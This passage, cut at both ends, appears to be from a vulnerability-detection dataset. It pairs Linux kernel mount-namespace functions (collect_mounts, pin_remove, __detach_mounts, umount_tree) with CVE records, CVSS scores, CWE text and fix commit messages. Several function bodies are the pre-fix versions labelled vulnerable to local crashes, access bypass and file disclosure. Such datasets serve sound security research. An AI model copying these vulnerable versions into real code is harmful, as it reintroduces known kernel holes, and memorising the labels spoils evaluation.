'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.5', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.5', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1248486', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1248486', 'refsource': 'CONFIRM', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'NVD-CWE-Other'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.4', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The collect_mounts function in fs/namespace.c in the Linux kernel before 4.0.5 does not properly consider that it may execute after a path has been unmounted, which allows local users to cause a denial of service (system crash) by leveraging user-namespace root access for an MNT_DETACH umount2 system call.'}]
2016-05-06T16:44Z
2016-05-02T10:59Z
Other
NVD is only using a subset of CWE for mapping instead of the entire CWE, and the weakness type is not covered by that subset.
Insufficient Information
https://nvd.nist.gov/vuln/categories
0
Eric W. Biederman
2015-01-07 14:28:26-06:00
mnt: Fail collect_mounts when applied to unmounted mounts The only users of collect_mounts are in audit_tree.c In audit_trim_trees and audit_add_tree_rule the path passed into collect_mounts is generated from kern_path passed an audit_tree pathname which is guaranteed to be an absolute path. In those cases collect_mounts is obviously intended to work on mounted paths and if a race results in paths that are unmounted when collect_mounts it is reasonable to fail early. The paths passed into audit_tag_tree don't have the absolute path check. But are used to play with fsnotify and otherwise interact with the audit_trees, so again operating only on mounted paths appears reasonable. Avoid having to worry about what happens when we try and audit unmounted filesystems by restricting collect_mounts to mounts that appear in the mount tree. Signed-off-by: "Eric W. Biederman" <[email protected]>
cd4a40174b71acd021877341684d8bb1dc8ea4ae
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
collect_mounts
collect_mounts( struct path * path)
['path']
struct vfsmount *collect_mounts(struct path *path) { struct mount *tree; namespace_lock(); tree = copy_tree(real_mount(path->mnt), path->dentry, CL_COPY_ALL | CL_PRIVATE); namespace_unlock(); if (IS_ERR(tree)) return ERR_CAST(tree); return &tree->mnt; }
61
True
1
CVE-2015-4178
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
NONE
NONE
HIGH
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'http://openwall.com/lists/oss-security/2015/05/29/10', 'name': '[oss-security] 20150529 Re: CVE request Linux kernel: ns: user namespaces panic', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://openwall.com/lists/oss-security/2015/05/29/5', 'name': '[oss-security] 20150529 CVE request Linux kernel: ns: user namespaces panic', 'refsource': 'MLIST', 'tags': ['Patch']}, {'url': 'http://www.openwall.com/lists/oss-security/2015/06/04/5', 'name': '[oss-security] 20150604 Re: Re: CVE request Linux kernel: ns: user namespaces panic', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/820f9f147dcce2602eefd9b575bbbd9ea14f0953', 'name': 'https://github.com/torvalds/linux/commit/820f9f147dcce2602eefd9b575bbbd9ea14f0953', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=820f9f147dcce2602eefd9b575bbbd9ea14f0953', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=820f9f147dcce2602eefd9b575bbbd9ea14f0953', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.5', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.5', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1249849', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1249849', 'refsource': 'CONFIRM', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'NVD-CWE-Other'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.4', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The fs_pin implementation in the Linux kernel before 4.0.5 does not ensure the internal consistency of a certain list data structure, which allows local users to cause a denial of service (system crash) by leveraging user-namespace root access for an MNT_DETACH umount2 system call, related to fs/fs_pin.c and include/linux/fs_pin.h.'}]
2016-05-06T20:17Z
2016-05-02T10:59Z
Other
NVD is only using a subset of CWE for mapping instead of the entire CWE, and the weakness type is not covered by that subset.
Insufficient Information
https://nvd.nist.gov/vuln/categories
0
Eric W. Biederman
2015-04-02 16:35:48-05:00
fs_pin: Allow for the possibility that m_list or s_list go unused. This is needed to support lazily umounting locked mounts. Because the entire unmounted subtree needs to stay together until there are no users with references to any part of the subtree. To support this guarantee that the fs_pin m_list and s_list nodes are initialized by initializing them in init_fs_pin allowing for the possibility that pin_insert_group does not touch them. Further use hlist_del_init in pin_remove so that there is a hlist_unhashed test before the list we attempt to update the previous list item. Signed-off-by: "Eric W. Biederman" <[email protected]>
820f9f147dcce2602eefd9b575bbbd9ea14f0953
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
pin_remove
pin_remove( struct fs_pin * pin)
['pin']
void pin_remove(struct fs_pin *pin) { spin_lock(&pin_lock); hlist_del(&pin->m_list); hlist_del(&pin->s_list); spin_unlock(&pin_lock); spin_lock_irq(&pin->wait.lock); pin->done = 1; wake_up_locked(&pin->wait); spin_unlock_irq(&pin->wait.lock); }
71
True
1
CVE-2014-9717
False
False
False
False
AV:L/AC:L/Au:N/C:P/I:P/A:N
LOCAL
LOW
NONE
PARTIAL
PARTIAL
NONE
3.6
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
LOCAL
LOW
LOW
NONE
UNCHANGED
LOW
HIGH
NONE
6.1
MEDIUM
1.8
4.2
nan
[{'url': 'https://groups.google.com/forum/message/raw?msg=linux.kernel/HnegnbXk0Vs/RClojwJzAFEJ', 'name': "[linux-kernel] 20141007 [PATCH] mnt: don't allow to detach the namespace root", 'refsource': 'MLIST', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1226751', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1226751', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/ce07d891a0891d3c0d0c2d73d577490486b809e1', 'name': 'https://github.com/torvalds/linux/commit/ce07d891a0891d3c0d0c2d73d577490486b809e1', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.2', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.2', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce07d891a0891d3c0d0c2d73d577490486b809e1', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce07d891a0891d3c0d0c2d73d577490486b809e1', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2015/04/17/4', 'name': '[oss-security] 20150417 USERNS allows circumventing MNT_LOCKED', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://www.spinics.net/lists/linux-containers/msg30786.html', 'name': '[containers] 20150402 [PATCH review 0/19] Locked mount and loopback mount fixes', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/74226', 'name': '74226', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00056.html', 'name': 'SUSE-SU-2016:1696', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00054.html', 'name': 'SUSE-SU-2016:1690', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00000.html', 'name': 'SUSE-SU-2016:1937', 'refsource': 'SUSE', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-284'}]}]
LOW
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.1', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'fs/namespace.c in the Linux kernel before 4.0.2 processes MNT_DETACH umount2 system calls without verifying that the MNT_LOCKED flag is unset, which allows local users to bypass intended access restrictions and navigate to filesystem locations beneath a mount by calling umount2 within a user namespace.'}]
2016-08-12T01:59Z
2016-05-02T10:59Z
Improper Access Control
The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
Access control involves the use of several protection mechanisms such as: Authentication (proving the identity of an actor) Authorization (ensuring that a given actor can access a resource), and Accountability (tracking of activities that were performed) When any mechanism is not applied or otherwise fails, attackers can compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc. There are two distinct behaviors that can introduce access control weaknesses: Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator. Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.
https://cwe.mitre.org/data/definitions/284.html
0
Eric W. Biederman
2014-12-23 21:37:03-06:00
mnt: Honor MNT_LOCKED when detaching mounts Modify umount(MNT_DETACH) to keep mounts in the hash table that are locked to their parent mounts, when the parent is lazily unmounted. In mntput_no_expire detach the children from the hash table, depending on mnt_pin_kill in cleanup_mnt to decrement the mnt_count of the children. In __detach_mounts if there are any mounts that have been unmounted but still are on the list of mounts of a mountpoint, remove their children from the mount hash table and those children to the unmounted list so they won't linger potentially indefinitely waiting for their final mntput, now that the mounts serve no purpose. Cc: [email protected] Signed-off-by: "Eric W. Biederman" <[email protected]>
ce07d891a0891d3c0d0c2d73d577490486b809e1
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
__detach_mounts
__detach_mounts( struct dentry * dentry)
['dentry']
void __detach_mounts(struct dentry *dentry) { struct mountpoint *mp; struct mount *mnt; namespace_lock(); mp = lookup_mountpoint(dentry); if (!mp) goto out_unlock; lock_mount_hash(); while (!hlist_empty(&mp->m_list)) { mnt = hlist_entry(mp->m_list.first, struct mount, mnt_mp_list); umount_tree(mnt, 0); } unlock_mount_hash(); put_mountpoint(mp); out_unlock: namespace_unlock(); }
93
True
1
CVE-2014-9717
False
False
False
False
AV:L/AC:L/Au:N/C:P/I:P/A:N
LOCAL
LOW
NONE
PARTIAL
PARTIAL
NONE
3.6
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
LOCAL
LOW
LOW
NONE
UNCHANGED
LOW
HIGH
NONE
6.1
MEDIUM
1.8
4.2
nan
[{'url': 'https://groups.google.com/forum/message/raw?msg=linux.kernel/HnegnbXk0Vs/RClojwJzAFEJ', 'name': "[linux-kernel] 20141007 [PATCH] mnt: don't allow to detach the namespace root", 'refsource': 'MLIST', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1226751', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1226751', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/ce07d891a0891d3c0d0c2d73d577490486b809e1', 'name': 'https://github.com/torvalds/linux/commit/ce07d891a0891d3c0d0c2d73d577490486b809e1', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.2', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.2', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce07d891a0891d3c0d0c2d73d577490486b809e1', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce07d891a0891d3c0d0c2d73d577490486b809e1', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2015/04/17/4', 'name': '[oss-security] 20150417 USERNS allows circumventing MNT_LOCKED', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://www.spinics.net/lists/linux-containers/msg30786.html', 'name': '[containers] 20150402 [PATCH review 0/19] Locked mount and loopback mount fixes', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/74226', 'name': '74226', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00056.html', 'name': 'SUSE-SU-2016:1696', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00054.html', 'name': 'SUSE-SU-2016:1690', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00000.html', 'name': 'SUSE-SU-2016:1937', 'refsource': 'SUSE', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-284'}]}]
LOW
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.1', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'fs/namespace.c in the Linux kernel before 4.0.2 processes MNT_DETACH umount2 system calls without verifying that the MNT_LOCKED flag is unset, which allows local users to bypass intended access restrictions and navigate to filesystem locations beneath a mount by calling umount2 within a user namespace.'}]
2016-08-12T01:59Z
2016-05-02T10:59Z
Improper Access Control
The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
Access control involves the use of several protection mechanisms such as: Authentication (proving the identity of an actor) Authorization (ensuring that a given actor can access a resource), and Accountability (tracking of activities that were performed) When any mechanism is not applied or otherwise fails, attackers can compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc. There are two distinct behaviors that can introduce access control weaknesses: Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator. Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.
https://cwe.mitre.org/data/definitions/284.html
0
Eric W. Biederman
2014-12-23 21:37:03-06:00
mnt: Honor MNT_LOCKED when detaching mounts Modify umount(MNT_DETACH) to keep mounts in the hash table that are locked to their parent mounts, when the parent is lazily unmounted. In mntput_no_expire detach the children from the hash table, depending on mnt_pin_kill in cleanup_mnt to decrement the mnt_count of the children. In __detach_mounts if there are any mounts that have been unmounted but still are on the list of mounts of a mountpoint, remove their children from the mount hash table and those children to the unmounted list so they won't linger potentially indefinitely waiting for their final mntput, now that the mounts serve no purpose. Cc: [email protected] Signed-off-by: "Eric W. Biederman" <[email protected]>
ce07d891a0891d3c0d0c2d73d577490486b809e1
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
umount_tree
umount_tree( struct mount * mnt , enum umount_tree_flags how)
['mnt', 'how']
static void umount_tree(struct mount *mnt, enum umount_tree_flags how) { LIST_HEAD(tmp_list); struct mount *p; if (how & UMOUNT_PROPAGATE) propagate_mount_unlock(mnt); /* Gather the mounts to umount */ for (p = mnt; p; p = next_mnt(p, mnt)) { p->mnt.mnt_flags |= MNT_UMOUNT; list_move(&p->mnt_list, &tmp_list); } /* Hide the mounts from mnt_mounts */ list_for_each_entry(p, &tmp_list, mnt_list) { list_del_init(&p->mnt_child); } /* Add propogated mounts to the tmp_list */ if (how & UMOUNT_PROPAGATE) propagate_umount(&tmp_list); while (!list_empty(&tmp_list)) { p = list_first_entry(&tmp_list, struct mount, mnt_list); list_del_init(&p->mnt_expire); list_del_init(&p->mnt_list); __touch_mnt_namespace(p->mnt_ns); p->mnt_ns = NULL; if (how & UMOUNT_SYNC) p->mnt.mnt_flags |= MNT_SYNC_UMOUNT; pin_insert_group(&p->mnt_umount, &p->mnt_parent->mnt, &unmounted); if (mnt_has_parent(p)) { mnt_add_count(p->mnt_parent, -1); umount_mnt(p); } change_mnt_propagation(p, MS_PRIVATE); } }
219
True
1
CVE-2015-4176
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:P/A:N
LOCAL
LOW
NONE
NONE
PARTIAL
NONE
2.1
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
LOCAL
LOW
LOW
NONE
UNCHANGED
HIGH
NONE
NONE
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1249442', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1249442', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/06/04/5', 'name': '[oss-security] 20150604 Re: Re: CVE request Linux kernel: ns: user namespaces panic', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.2', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.2', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/e0c9c0afd2fc958ffa34b697972721d81df8a56f', 'name': 'https://github.com/torvalds/linux/commit/e0c9c0afd2fc958ffa34b697972721d81df8a56f', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=e0c9c0afd2fc958ffa34b697972721d81df8a56f', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=e0c9c0afd2fc958ffa34b697972721d81df8a56f', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}]
[{'description': [{'lang': 'en', 'value': 'CWE-200'}]}]
LOW
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.1', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'fs/namespace.c in the Linux kernel before 4.0.2 does not properly support mount connectivity, which allows local users to read arbitrary files by leveraging user-namespace root access for deletion of a file or directory.'}]
2016-05-05T17:01Z
2016-05-02T10:59Z
Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include: private, personal information, such as personal messages, financial data, health records, geographic location, or contact details system status and environment, such as the operating system and installed packages business secrets and intellectual property network status and configuration the product's own code or internal state metadata, e.g. logging of connections or message headers indirect information, such as a discrepancy between two internal operations that can be observed by an outsider Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include: the product's own users people or organizations whose information is created or used by the product, even if they are not direct product users the product's administrators, including the admins of the system(s) and/or networks on which the product operates the developer Information exposures can occur in different ways: the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized" a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program. the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place. It is common practice to describe any loss of confidentiality as an "information exposure," but this can lead to overuse of CWE-200 in CWE mapping. From the CWE perspective, loss of confidentiality is a technical impact that can arise from dozens of different weaknesses, such as insecure file permissions or out-of-bounds read. CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information.
https://cwe.mitre.org/data/definitions/200.html
0
Eric W. Biederman
2015-04-01 18:30:06-05:00
mnt: Update detach_mounts to leave mounts connected Now that it is possible to lazily unmount an entire mount tree and leave the individual mounts connected to each other add a new flag UMOUNT_CONNECTED to umount_tree to force this behavior and use this flag in detach_mounts. This closes a bug where the deletion of a file or directory could trigger an unmount and reveal data under a mount point. Cc: [email protected] Signed-off-by: "Eric W. Biederman" <[email protected]>
e0c9c0afd2fc958ffa34b697972721d81df8a56f
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
__detach_mounts
__detach_mounts( struct dentry * dentry)
['dentry']
void __detach_mounts(struct dentry *dentry) { struct mountpoint *mp; struct mount *mnt; namespace_lock(); mp = lookup_mountpoint(dentry); if (IS_ERR_OR_NULL(mp)) goto out_unlock; lock_mount_hash(); while (!hlist_empty(&mp->m_list)) { mnt = hlist_entry(mp->m_list.first, struct mount, mnt_mp_list); if (mnt->mnt.mnt_flags & MNT_UMOUNT) { struct mount *p, *tmp; list_for_each_entry_safe(p, tmp, &mnt->mnt_mounts, mnt_child) { hlist_add_head(&p->mnt_umount.s_list, &unmounted); umount_mnt(p); } } else umount_tree(mnt, 0); } unlock_mount_hash(); put_mountpoint(mp); out_unlock: namespace_unlock(); }
149
True
1
CVE-2015-4176
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:P/A:N
LOCAL
LOW
NONE
NONE
PARTIAL
NONE
2.1
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
LOCAL
LOW
LOW
NONE
UNCHANGED
HIGH
NONE
NONE
5.5
MEDIUM
1.8
3.6
nan
[{'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1249442', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1249442', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/06/04/5', 'name': '[oss-security] 20150604 Re: Re: CVE request Linux kernel: ns: user namespaces panic', 'refsource': 'MLIST', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.2', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.2', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/e0c9c0afd2fc958ffa34b697972721d81df8a56f', 'name': 'https://github.com/torvalds/linux/commit/e0c9c0afd2fc958ffa34b697972721d81df8a56f', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=e0c9c0afd2fc958ffa34b697972721d81df8a56f', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=e0c9c0afd2fc958ffa34b697972721d81df8a56f', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}]
[{'description': [{'lang': 'en', 'value': 'CWE-200'}]}]
LOW
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.1', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'fs/namespace.c in the Linux kernel before 4.0.2 does not properly support mount connectivity, which allows local users to read arbitrary files by leveraging user-namespace root access for deletion of a file or directory.'}]
2016-05-05T17:01Z
2016-05-02T10:59Z
Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include: private, personal information, such as personal messages, financial data, health records, geographic location, or contact details system status and environment, such as the operating system and installed packages business secrets and intellectual property network status and configuration the product's own code or internal state metadata, e.g. logging of connections or message headers indirect information, such as a discrepancy between two internal operations that can be observed by an outsider Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include: the product's own users people or organizations whose information is created or used by the product, even if they are not direct product users the product's administrators, including the admins of the system(s) and/or networks on which the product operates the developer Information exposures can occur in different ways: the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized" a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program. the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place. It is common practice to describe any loss of confidentiality as an "information exposure," but this can lead to overuse of CWE-200 in CWE mapping. From the CWE perspective, loss of confidentiality is a technical impact that can arise from dozens of different weaknesses, such as insecure file permissions or out-of-bounds read. CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information.
https://cwe.mitre.org/data/definitions/200.html
0
Eric W. Biederman
2015-04-01 18:30:06-05:00
mnt: Update detach_mounts to leave mounts connected Now that it is possible to lazily unmount an entire mount tree and leave the individual mounts connected to each other add a new flag UMOUNT_CONNECTED to umount_tree to force this behavior and use this flag in detach_mounts. This closes a bug where the deletion of a file or directory could trigger an unmount and reveal data under a mount point. Cc: [email protected] Signed-off-by: "Eric W. Biederman" <[email protected]>
e0c9c0afd2fc958ffa34b697972721d81df8a56f
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
umount_tree
umount_tree( struct mount * mnt , enum umount_tree_flags how)
['mnt', 'how']
static void umount_tree(struct mount *mnt, enum umount_tree_flags how) { LIST_HEAD(tmp_list); struct mount *p; if (how & UMOUNT_PROPAGATE) propagate_mount_unlock(mnt); /* Gather the mounts to umount */ for (p = mnt; p; p = next_mnt(p, mnt)) { p->mnt.mnt_flags |= MNT_UMOUNT; list_move(&p->mnt_list, &tmp_list); } /* Hide the mounts from mnt_mounts */ list_for_each_entry(p, &tmp_list, mnt_list) { list_del_init(&p->mnt_child); } /* Add propogated mounts to the tmp_list */ if (how & UMOUNT_PROPAGATE) propagate_umount(&tmp_list); while (!list_empty(&tmp_list)) { bool disconnect; p = list_first_entry(&tmp_list, struct mount, mnt_list); list_del_init(&p->mnt_expire); list_del_init(&p->mnt_list); __touch_mnt_namespace(p->mnt_ns); p->mnt_ns = NULL; if (how & UMOUNT_SYNC) p->mnt.mnt_flags |= MNT_SYNC_UMOUNT; disconnect = !IS_MNT_LOCKED_AND_LAZY(p); pin_insert_group(&p->mnt_umount, &p->mnt_parent->mnt, disconnect ? &unmounted : NULL); if (mnt_has_parent(p)) { mnt_add_count(p->mnt_parent, -1); if (!disconnect) { /* Don't forget about p */ list_add_tail(&p->mnt_child, &p->mnt_parent->mnt_mounts); } else { umount_mnt(p); } } change_mnt_propagation(p, MS_PRIVATE); } }
259
True
1
CVE-2015-8830
False
False
False
False
AV:L/AC:L/Au:N/C:C/I:C/A:C
LOCAL
LOW
NONE
COMPLETE
COMPLETE
COMPLETE
7.2
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
LOCAL
LOW
LOW
NONE
UNCHANGED
HIGH
HIGH
HIGH
7.8
HIGH
1.8
5.9
nan
[{'url': 'https://github.com/torvalds/linux/commit/c4f4b82694fe48b02f7a881a1797131a6dad1364', 'name': 'https://github.com/torvalds/linux/commit/c4f4b82694fe48b02f7a881a1797131a6dad1364', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c4f4b82694fe48b02f7a881a1797131a6dad1364', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=c4f4b82694fe48b02f7a881a1797131a6dad1364', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=4c185ce06dca14f5cea192f5a2c981ef50663f2b', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=4c185ce06dca14f5cea192f5a2c981ef50663f2b', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2016/03/02/9', 'name': '[oss-security] 20160302 Re: CVE Request: Linux: aio write triggers integer overflow in some network protocols', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1314275', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1314275', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/4c185ce06dca14f5cea192f5a2c981ef50663f2b', 'name': 'https://github.com/torvalds/linux/commit/4c185ce06dca14f5cea192f5a2c981ef50663f2b', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 